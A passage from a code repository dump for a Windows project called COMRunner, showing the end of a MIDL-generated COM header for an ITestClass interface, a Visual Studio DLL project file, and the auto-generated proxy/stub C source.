142 | /* [annotation][in] */
143 | _In_ WORD wFlags,
144 | /* [annotation][out][in] */
145 | _In_ DISPPARAMS *pDispParams,
146 | /* [annotation][out] */
147 | _Out_opt_ VARIANT *pVarResult,
148 | /* [annotation][out] */
149 | _Out_opt_ EXCEPINFO *pExcepInfo,
150 | /* [annotation][out] */
151 | _Out_opt_ UINT *puArgErr);
152 |
153 | HRESULT ( STDMETHODCALLTYPE *SetData )(
154 | ITestClass * This,
155 | /* [in] */ BSTR data);
156 |
157 | HRESULT ( STDMETHODCALLTYPE *Run )(
158 | ITestClass * This);
159 |
160 | END_INTERFACE
161 | } ITestClassVtbl;
162 |
163 | interface ITestClass
164 | {
165 | CONST_VTBL struct ITestClassVtbl *lpVtbl;
166 | };
167 |
168 |
169 |
170 | #ifdef COBJMACROS
171 |
172 |
173 | #define ITestClass_QueryInterface(This,riid,ppvObject) \
174 | ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
175 |
176 | #define ITestClass_AddRef(This) \
177 | ( (This)->lpVtbl -> AddRef(This) )
178 |
179 | #define ITestClass_Release(This) \
180 | ( (This)->lpVtbl -> Release(This) )
181 |
182 |
183 | #define ITestClass_GetTypeInfoCount(This,pctinfo) \
184 | ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) )
185 |
186 | #define ITestClass_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \
187 | ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) )
188 |
189 | #define ITestClass_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \
190 | ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) )
191 |
192 | #define ITestClass_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \
193 | ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) )
194 |
195 |
196 | #define ITestClass_SetData(This,data) \
197 | ( (This)->lpVtbl -> SetData(This,data) )
198 |
199 | #define ITestClass_Run(This) \
200 | ( (This)->lpVtbl -> Run(This) )
201 |
202 | #endif /* COBJMACROS */
203 |
204 |
205 | #endif /* C style interface */
206 |
207 |
208 |
209 |
210 | #endif /* __ITestClass_INTERFACE_DEFINED__ */
211 |
212 |
213 |
214 | #ifndef __TestClassLib_LIBRARY_DEFINED__
215 | #define __TestClassLib_LIBRARY_DEFINED__
216 |
217 | /* library TestClassLib */
218 | /* [helpstring][version][uuid] */
219 |
220 |
221 | EXTERN_C const IID LIBID_TestClassLib;
222 |
223 | EXTERN_C const CLSID CLSID_TestClass;
224 |
225 | #ifdef __cplusplus
226 |
227 | class DECLSPEC_UUID("67E11FF2-C068-4C48-A1F5-69A882E0E99A")
228 | TestClass;
229 | #endif
230 | #endif /* __TestClassLib_LIBRARY_DEFINED__ */
231 |
232 | /* Additional Prototypes for ALL interfaces */
233 |
234 | unsigned long __RPC_USER BSTR_UserSize( unsigned long *, unsigned long , BSTR * );
235 | unsigned char * __RPC_USER BSTR_UserMarshal( unsigned long *, unsigned char *, BSTR * );
236 | unsigned char * __RPC_USER BSTR_UserUnmarshal(unsigned long *, unsigned char *, BSTR * );
237 | void __RPC_USER BSTR_UserFree( unsigned long *, BSTR * );
238 |
239 | /* end of Additional Prototypes */
240 |
241 | #ifdef __cplusplus
242 | }
243 | #endif
244 |
245 | #endif
246 |
247 |
248 |
--------------------------------------------------------------------------------
/COMRunner/COMRunner.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {BD5F7510-C660-4017-A472-F722EA744C96}
24 | Win32Proj
25 | COMRunner
26 | 10.0
27 | COMRunner
28 |
29 |
30 |
31 | DynamicLibrary
32 | true
33 | v142
34 | Unicode
35 | false
36 |
37 |
38 | DynamicLibrary
39 | false
40 | v142
41 | true
42 | Unicode
43 | false
44 |
45 |
46 | DynamicLibrary
47 | true
48 | v142
49 | Unicode
50 | false
51 |
52 |
53 | DynamicLibrary
54 | false
55 | v142
56 | true
57 | Unicode
58 | false
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | true
80 |
81 |
82 | true
83 |
84 |
85 | false
86 |
87 |
88 | false
89 |
90 |
91 |
92 | NotUsing
93 | Level3
94 | true
95 | WIN32;_DEBUG;COMRUNNER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
96 | true
97 |
98 |
99 |
100 |
101 |
102 | Windows
103 | false
104 | false
105 |
106 | Source.def
107 |
108 |
109 |
110 |
111 | NotUsing
112 | Level3
113 | true
114 | _DEBUG;COMRUNNER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
115 | true
116 |
117 |
118 |
119 |
120 |
121 | Windows
122 | false
123 | false
124 |
125 | Source.def
126 |
127 |
128 |
129 |
130 | NotUsing
131 | Level3
132 | true
133 | true
134 | true
135 | WIN32;NDEBUG;COMRUNNER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
136 | true
137 |
138 |
139 |
140 |
141 |
142 | Windows
143 | true
144 | true
145 | false
146 | false
147 |
148 | Source.def
149 |
150 |
151 |
152 |
153 | NotUsing
154 | Level3
155 | true
156 | true
157 | true
158 | NDEBUG;COMRUNNER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
159 | true
160 |
161 |
162 |
163 |
164 |
165 | Windows
166 | true
167 | true
168 | false
169 | false
170 |
171 | Source.def
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
--------------------------------------------------------------------------------
/COMRunner/TestClass_p.c:
--------------------------------------------------------------------------------
1 |
2 |
3 | /* this ALWAYS GENERATED file contains the proxy stub code */
4 |
5 |
6 | /* File created by MIDL compiler version 8.01.0622 */
7 | /* at Mon Jan 18 19:14:07 2038
8 | */
9 | /* Compiler settings for TestClass.idl:
10 | Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622
11 | protocol : dce , ms_ext, c_ext, robust
12 | error checks: allocation ref bounds_check enum stub_data
13 | VC __declspec() decoration level:
14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
15 | DECLSPEC_UUID(), MIDL_INTERFACE()
16 | */
17 | /* @@MIDL_FILE_HEADING( ) */
18 |
19 | #if !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_)
20 |
21 |
22 | #pragma warning( disable: 4049 ) /* more than 64k source lines */
23 | #if _MSC_VER >= 1200
24 | #pragma warning(push)
25 | #endif
26 |
27 | #pragma warning( disable: 4211 ) /* redefine extern to static */
28 | #pragma warning( disable: 4232 ) /* dllimport identity*/
29 | #pragma warning( disable: 4024 ) /* array to pointer mapping*/
30 | #pragma warning( disable: 4152 ) /* function/data pointer conversion in expression */
31 | #pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */
32 |
33 | #pragma optimize("", off )
34 |
35 | #define USE_STUBLESS_PROXY
36 |
37 |
38 | /* verify that the version is high enough to compile this file*/
39 | #ifndef __REDQ_RPCPROXY_H_VERSION__
40 | #define __REQUIRED_RPCPROXY_H_VERSION__ 475
41 | #endif
42 |
43 |
44 | #include "rpcproxy.h"
45 | #ifndef __RPCPROXY_H_VERSION__
46 | #error this stub requires an updated version of
47 | #endif /* __RPCPROXY_H_VERSION__ */
48 |
49 |
50 | #include "TestClass.h"
51 |
52 | #define TYPE_FORMAT_STRING_SIZE 39
53 | #define PROC_FORMAT_STRING_SIZE 67
54 | #define EXPR_FORMAT_STRING_SIZE 1
55 | #define TRANSMIT_AS_TABLE_SIZE 0
56 | #define WIRE_MARSHAL_TABLE_SIZE 1
57 |
58 | typedef struct _TestClass_MIDL_TYPE_FORMAT_STRING
59 | {
60 | short Pad;
61 | unsigned char Format[ TYPE_FORMAT_STRING_SIZE ];
62 | } TestClass_MIDL_TYPE_FORMAT_STRING;
63 |
64 | typedef struct _TestClass_MIDL_PROC_FORMAT_STRING
65 | {
66 | short Pad;
67 | unsigned char Format[ PROC_FORMAT_STRING_SIZE ];
68 | } TestClass_MIDL_PROC_FORMAT_STRING;
69 |
70 | typedef struct _TestClass_MIDL_EXPR_FORMAT_STRING
71 | {
72 | long Pad;
73 | unsigned char Format[ EXPR_FORMAT_STRING_SIZE ];
74 | } TestClass_MIDL_EXPR_FORMAT_STRING;
75 |
76 |
77 | static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax =
78 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};
79 |
80 |
81 | extern const TestClass_MIDL_TYPE_FORMAT_STRING TestClass__MIDL_TypeFormatString;
82 | extern const TestClass_MIDL_PROC_FORMAT_STRING TestClass__MIDL_ProcFormatString;
83 | extern const TestClass_MIDL_EXPR_FORMAT_STRING TestClass__MIDL_ExprFormatString;
84 |
85 |
86 | extern const MIDL_STUB_DESC Object_StubDesc;
87 |
88 |
89 | extern const MIDL_SERVER_INFO ITestClass_ServerInfo;
90 | extern const MIDL_STUBLESS_PROXY_INFO ITestClass_ProxyInfo;
91 |
92 |
93 | extern const USER_MARSHAL_ROUTINE_QUADRUPLE UserMarshalRoutines[ WIRE_MARSHAL_TABLE_SIZE ];
94 |
95 | #if !defined(__RPC_WIN32__)
96 | #error Invalid build platform for this stub.
97 | #endif
98 |
99 | #if !(TARGET_IS_NT50_OR_LATER)
100 | #error You need Windows 2000 or later to run this stub because it uses these features:
101 | #error /robust command line switch.
102 | #error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems.
103 | #error This app will fail with the RPC_X_WRONG_STUB_VERSION error.
104 | #endif
105 |
106 |
107 | static const TestClass_MIDL_PROC_FORMAT_STRING TestClass__MIDL_ProcFormatString =
108 | {
109 | 0,
110 | {
111 |
112 | /* Procedure SetData */
113 |
114 | 0x33, /* FC_AUTO_HANDLE */
115 | 0x6c, /* Old Flags: object, Oi2 */
116 | /* 2 */ NdrFcLong( 0x0 ), /* 0 */
117 | /* 6 */ NdrFcShort( 0x7 ), /* 7 */
118 | /* 8 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
119 | /* 10 */ NdrFcShort( 0x0 ), /* 0 */
120 | /* 12 */ NdrFcShort( 0x8 ), /* 8 */
121 | /* 14 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
122 | 0x2, /* 2 */
123 | /* 16 */ 0x8, /* 8 */
124 | 0x5, /* Ext Flags: new corr desc, srv corr check, */
125 | /* 18 */ NdrFcShort( 0x0 ), /* 0 */
126 | /* 20 */ NdrFcShort( 0x1 ), /* 1 */
127 | /* 22 */ NdrFcShort( 0x0 ), /* 0 */
128 |
129 | /* Parameter data */
130 |
131 | /* 24 */ NdrFcShort( 0x8b ), /* Flags: must size, must free, in, by val, */
132 | /* 26 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
133 | /* 28 */ NdrFcShort( 0x1c ), /* Type Offset=28 */
134 |
135 | /* Return value */
136 |
137 | /* 30 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
138 | /* 32 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
139 | /* 34 */ 0x8, /* FC_LONG */
140 | 0x0, /* 0 */
141 |
142 | /* Procedure Run */
143 |
144 | /* 36 */ 0x33, /* FC_AUTO_HANDLE */
145 | 0x6c, /* Old Flags: object, Oi2 */
146 | /* 38 */ NdrFcLong( 0x0 ), /* 0 */
147 | /* 42 */ NdrFcShort( 0x8 ), /* 8 */
148 | /* 44 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
149 | /* 46 */ NdrFcShort( 0x0 ), /* 0 */
150 | /* 48 */ NdrFcShort( 0x8 ), /* 8 */
151 | /* 50 */ 0x44, /* Oi2 Flags: has return, has ext, */
152 | 0x1, /* 1 */
153 | /* 52 */ 0x8, /* 8 */
154 | 0x1, /* Ext Flags: new corr desc, */
155 | /* 54 */ NdrFcShort( 0x0 ), /* 0 */
156 | /* 56 */ NdrFcShort( 0x0 ), /* 0 */
157 | /* 58 */ NdrFcShort( 0x0 ), /* 0 */
158 |
159 | /* Return value */
160 |
161 | /* 60 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
162 | /* 62 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
163 | /* 64 */ 0x8, /* FC_LONG */
164 | 0x0, /* 0 */
165 |
166 | 0x0
167 | }
168 | };
169 |
170 | static const TestClass_MIDL_TYPE_FORMAT_STRING TestClass__MIDL_TypeFormatString =
171 | {
172 | 0,
173 | {
174 | NdrFcShort( 0x0 ), /* 0 */
175 | /* 2 */
176 | 0x12, 0x0, /* FC_UP */
177 | /* 4 */ NdrFcShort( 0xe ), /* Offset= 14 (18) */
178 | /* 6 */
179 | 0x1b, /* FC_CARRAY */
180 | 0x1, /* 1 */
181 | /* 8 */ NdrFcShort( 0x2 ), /* 2 */
182 | /* 10 */ 0x9, /* Corr desc: FC_ULONG */
183 | 0x0, /* */
184 | /* 12 */ NdrFcShort( 0xfffc ), /* -4 */
185 | /* 14 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
186 | /* 16 */ 0x6, /* FC_SHORT */
187 | 0x5b, /* FC_END */
188 | /* 18 */
189 | 0x17, /* FC_CSTRUCT */
190 | 0x3, /* 3 */
191 | /* 20 */ NdrFcShort( 0x8 ), /* 8 */
192 | /* 22 */ NdrFcShort( 0xfff0 ), /* Offset= -16 (6) */
193 | /* 24 */ 0x8, /* FC_LONG */
194 | 0x8, /* FC_LONG */
195 | /* 26 */ 0x5c, /* FC_PAD */
196 | 0x5b, /* FC_END */
197 | /* 28 */ 0xb4, /* FC_USER_MARSHAL */
198 | 0x83, /* 131 */
199 | /* 30 */ NdrFcShort( 0x0 ), /* 0 */
200 | /* 32 */ NdrFcShort( 0x4 ), /* 4 */
201 | /* 34 */ NdrFcShort( 0x0 ), /* 0 */
202 | /* 36 */ NdrFcShort( 0xffde ), /* Offset= -34 (2) */
203 |
204 | 0x0
205 | }
206 | };
207 |
208 | static const USER_MARSHAL_ROUTINE_QUADRUPLE UserMarshalRoutines[ WIRE_MARSHAL_TABLE_SIZE ] =
209 | {
210 |
211 | {
212 | BSTR_UserSize
213 | ,BSTR_UserMarshal
214 | ,BSTR_UserUnmarshal
215 | ,BSTR_UserFree
216 | }
217 |
218 | };
219 |
220 |
221 |
222 | /* Object interface: IUnknown, ver. 0.0,
223 | GUID={0x00000000,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}} */
224 |
225 |
226 | /* Object interface: IDispatch, ver. 0.0,
227 | GUID={0x00020400,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}} */
228 |
229 |
230 | /* Object interface: ITestClass, ver. 0.0,
231 | GUID={0x67E11FF0,0xC068,0x4C48,{0xA1,0xF5,0x69,0xA8,0x82,0xE0,0xE9,0x9A}} */
232 |
233 | #pragma code_seg(".orpc")
234 | static const unsigned short ITestClass_FormatStringOffsetTable[] =
235 | {
236 | (unsigned short) -1,
237 | (unsigned short) -1,
238 | (unsigned short) -1,
239 | (unsigned short) -1,
240 | 0,
241 | 36
242 | };
243 |
244 | static const MIDL_STUBLESS_PROXY_INFO ITestClass_ProxyInfo =
245 | {
246 | &Object_StubDesc,
247 | TestClass__MIDL_ProcFormatString.Format,
248 | &ITestClass_FormatStringOffsetTable[-3],
249 | 0,
250 | 0,
251 | 0
252 | };
253 |
254 |
255 | static const MIDL_SERVER_INFO ITestClass_ServerInfo =
256 | {
257 | &Object_StubDesc,
258 | 0,
259 | TestClass__MIDL_ProcFormatString.Format,
260 | &ITestClass_FormatStringOffsetTable[-3],
261 | 0,
262 | 0,
263 | 0,
264 | 0};
265 | CINTERFACE_PROXY_VTABLE(9) _ITestClassProxyVtbl =
266 | {
267 | &ITestClass_ProxyInfo,
268 | &IID_ITestClass,
269 | IUnknown_QueryInterface_Proxy,
270 | IUnknown_AddRef_Proxy,
271 | IUnknown_Release_Proxy ,
272 | 0 /* IDispatch::GetTypeInfoCount */ ,
273 | 0 /* IDispatch::GetTypeInfo */ ,
274 | 0 /* IDispatch::GetIDsOfNames */ ,
275 | 0 /* IDispatch_Invoke_Proxy */ ,
276 | (void *) (INT_PTR) -1 /* ITestClass::SetData */ ,
277 | (void *) (INT_PTR) -1 /* ITestClass::Run */
278 | };
279 |
280 |
281 | static const PRPC_STUB_FUNCTION ITestClass_table[] =
282 | {
283 | STUB_FORWARDING_FUNCTION,
284 | STUB_FORWARDING_FUNCTION,
285 | STUB_FORWARDING_FUNCTION,
286 | STUB_FORWARDING_FUNCTION,
287 | NdrStubCall2,
288 | NdrStubCall2
289 | };
290 |
291 | CInterfaceStubVtbl _ITestClassStubVtbl =
292 | {
293 | &IID_ITestClass,
294 | &ITestClass_ServerInfo,
295 | 9,
296 | &ITestClass_table[-3],
297 | CStdStubBuffer_DELEGATING_METHODS
298 | };
299 |
300 | static const MIDL_STUB_DESC Object_StubDesc =
301 | {
302 | 0,
303 | NdrOleAllocate,
304 | NdrOleFree,
305 | 0,
306 | 0,
307 | 0,
308 | 0,
309 | 0,
310 | TestClass__MIDL_TypeFormatString.Format,
311 | 1, /* -error bounds_check flag */
312 | 0x50002, /* Ndr library version */
313 | 0,
314 | 0x801026e, /* MIDL Version 8.1.622 */
315 | 0,
316 | UserMarshalRoutines,
317 | 0, /* notify & notify_flag routine table */
318 | 0x1, /* MIDL flag */
319 | 0, /* cs routines */
320 | 0, /* proxy/server info */
321 | 0
322 | };
323 |
324 | const CInterfaceProxyVtbl * const _TestClass_ProxyVtblList[] =
325 | {
326 | ( CInterfaceProxyVtbl *) &_ITestClassProxyVtbl,
327 | 0
328 | };
329 |
330 | const CInterfaceStubVtbl * const _TestClass_StubVtblList[] =
331 | {
332 | ( CInterfaceStubVtbl *) &_ITestClassStubVtbl,
333 | 0
334 | };
335 |
336 | PCInterfaceName const _TestClass_InterfaceNamesList[] =
337 | {
338 | "ITestClass",
339 | 0
340 | };
341 |
342 | const IID * const _TestClass_BaseIIDList[] =
343 | {
344 | &IID_IDispatch,
345 | 0
346 | };
347 |
348 |
349 | #define _TestClass_CHECK_IID(n) IID_GENERIC_CHECK_IID( _TestClass, pIID, n)
350 |
351 | int __stdcall _TestClass_IID_Lookup( const IID * pIID, int * pIndex )
352 | {
353 |
354 | if(!_TestClass_CHECK_IID(0))
355 | {
356 | *pIndex = 0;
357 | return 1;
358 | }
359 |
360 | return 0;
361 | }
362 |
363 | const ExtendedProxyFileInfo TestClass_ProxyFileInfo =
364 | {
365 | (PCInterfaceProxyVtblList *) & _TestClass_ProxyVtblList,
366 | (PCInterfaceStubVtblList *) & _TestClass_StubVtblList,
367 | (const PCInterfaceName * ) & _TestClass_InterfaceNamesList,
368 | (const IID ** ) & _TestClass_BaseIIDList,
369 | & _TestClass_IID_Lookup,
370 | 1,
371 | 2,
372 | 0, /* table of [async_uuid] interfaces */
373 | 0, /* Filler1 */
374 | 0, /* Filler2 */
375 | 0 /* Filler3 */
376 | };
377 | #if _MSC_VER >= 1200
378 | #pragma warning(pop)
379 | #endif
380 |
381 |
382 | #endif /* !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) */
383 |
384 |
--------------------------------------------------------------------------------